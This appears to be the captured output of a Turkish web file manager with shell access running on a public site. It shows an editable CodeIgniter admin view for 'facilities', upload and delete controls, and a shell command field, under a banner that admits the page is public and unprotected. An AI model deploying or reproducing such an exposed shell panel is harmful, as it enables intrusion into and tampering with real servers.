⚠️ **YÜKSEK GÜVENLİK RİSKİ:** Bu dosya herkese açık ve şifresizdir. Lütfen sadece **yerel ortamınızda** kullanın ve işiniz bittiğinde **silin**.
Aktif Dizin:
/home/dltain/public_html/app-old/Views/admin/facilities
Dosya Düzenle: index.php
<?= $this->extend('layout/default') ?> <?= $this->section('content') ?> <div class="container mt-4"> <h3>Our Facilities</h3> <a href="<?= base_url() ?>admin/facilities/create" class="btn btn-primary mb-2">+ Add Facility</a> <table class="table table-bordered"> <thead> <tr> <th>Image</th> <th>Title</th> <th>Slug</th> <th>Status</th> <th>Action</th> </tr> </thead> <tbody> <?php foreach ($facilities as $f): ?> <tr> <td><img src="<?= base_url() ?>uploads/facilities/<?= esc($f['image']) ?>" width="60"></td> <td><?= esc($f['title']) ?></td> <td><?= esc($f['slug']) ?></td> <td><span class="badge <?= $f['status'] == 'enable' ? 'bg-success' : 'bg-danger' ?>"><?= $f['status'] ?></span></td> <td> <a href="<?= base_url() ?>admin/facilities/edit/<?= $f['id'] ?>" class="btn btn-sm btn-info">Edit</a> <a href="<?= base_url() ?>admin/facilities/delete/<?= $f['id'] ?>" onclick="return confirm('Delete?')" class="btn btn-sm btn-danger">Delete</a> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <?= $this->endSection() ?>
Değişiklikleri Kaydet
Yeni Dosya Yükle (Mevcut Dizine)
Yükle
Adı
Tipi
Boyut
İşlemler
📁
.. (Üst Dizin)
📄 create.php
Dosya
1.12 KB
Düzenle
Sil
📄 edit.php
Dosya
1.84 KB
Düzenle
Sil
📄 index.php
Dosya
1.37 KB
Düzenle
Sil
Sorun Giderme (Shell Erişimi)
Çalıştır